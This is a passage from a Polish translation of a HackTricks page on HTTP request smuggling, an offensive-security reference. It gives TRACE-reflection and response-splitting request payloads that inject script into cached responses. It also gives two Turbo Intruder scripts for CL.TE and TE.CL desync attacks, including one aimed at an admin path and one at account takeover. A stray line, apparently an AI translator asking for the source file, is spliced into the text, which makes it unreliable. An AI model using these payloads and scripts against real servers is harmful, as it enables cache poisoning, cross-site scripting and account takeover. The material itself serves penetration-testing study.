In this post sugeruje, że jeśli serwer ma włączoną metodę TRACE, możliwe jest jej wykorzystanie za pomocą HTTP Request Smuggling. Dzieje się tak, ponieważ ta metoda odzwierciedla każdy nagłówek wysłany do serwera jako część ciała odpowiedzi. Na przykład:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
Proszę wklej zawartość pliku src/pentesting-web/http-request-smuggling/README.md — przetłumaczę ją na polski zgodnie z podanymi zasadami (zachowując markdown, linki, ścieżki, tagi i nie tłumacząc kodu).
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
Przykładem nadużycia tego zachowania byłoby najpierw smuggle żądanie HEAD. Na to żądanie serwer odpowie tylko nagłówkami odpowiedzi GET (Content-Type
wśród nich). I smuggle bezpośrednio po HEAD żądanie TRACE, które będzie odzwierciedlać wysłane dane.
Ponieważ odpowiedź na HEAD będzie zawierać nagłówek Content-Length
, odpowiedź na żądanie TRACE zostanie potraktowana jako ciało odpowiedzi HEAD, w rezultacie odzwierciedlając dowolne dane w odpowiedzi.
Ta odpowiedź zostanie wysłana do następnego żądania na połączeniu, więc może to być użyte np. w pliku JS w pamięci podręcznej do wstrzyknięcia dowolnego kodu JS.
Abusing TRACE via HTTP Response Splitting
Zalecane jest zapoznanie się z this post — opisuje on inny sposób nadużycia metody TRACE. Jak wspomniano, smuggling żądania HEAD i TRACE pozwala kontrolować część odzwierciedlanych danych w odpowiedzi na HEAD. Długość ciała odpowiedzi na HEAD jest wskazywana w nagłówku Content-Length i jest tworzona przez odpowiedź na żądanie TRACE.
Dlatego nowy pomysł polega na tym, że znając tę wartość Content-Length oraz dane zawarte w odpowiedzi TRACE, można sprawić, aby odpowiedź TRACE zawierała prawidłową odpowiedź HTTP po ostatnim bajcie określonym przez Content-Length, co pozwala atakującemu całkowicie kontrolować żądanie do następnej odpowiedzi (co mogłoby być wykorzystane do cache poisoning).
Przykład:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
Wygeneruje te odpowiedzi (zwróć uwagę, że odpowiedź HEAD ma Content-Length, co powoduje, że odpowiedź TRACE staje się częścią ciała HEAD, a po zakończeniu Content-Length w HEAD prawidłowa HTTP response jest smuggled):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
Wykorzystanie HTTP Request Smuggling z HTTP Response Desynchronisation
Znalazłeś lukę HTTP Request Smuggling i nie wiesz, jak ją wykorzystać? Wypróbuj te inne metody eksploatacji:
HTTP Response Smuggling / Desync
Inne techniki HTTP Request Smuggling
- Browser HTTP Request Smuggling (Client Side)
Browser HTTP Request Smuggling
- Request Smuggling in HTTP/2 Downgrades
Request Smuggling in HTTP/2 Downgrades
Turbo intruder scripts
CL.TE
Źródło: https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
Źródło: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Narzędzia
- HTTP Hacker (Burp BApp Store) – wizualizuje konkatenację/ramkowanie i niskopoziomowe zachowanie HTTP
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: To narzędzie oparte na gramatyce — HTTP Fuzzer — przydatne do znajdowania dziwnych rozbieżności w request smuggling.
Referencje
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- Uwaga na fałszywe false‑positive: jak odróżnić HTTP pipelining od request smuggling – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.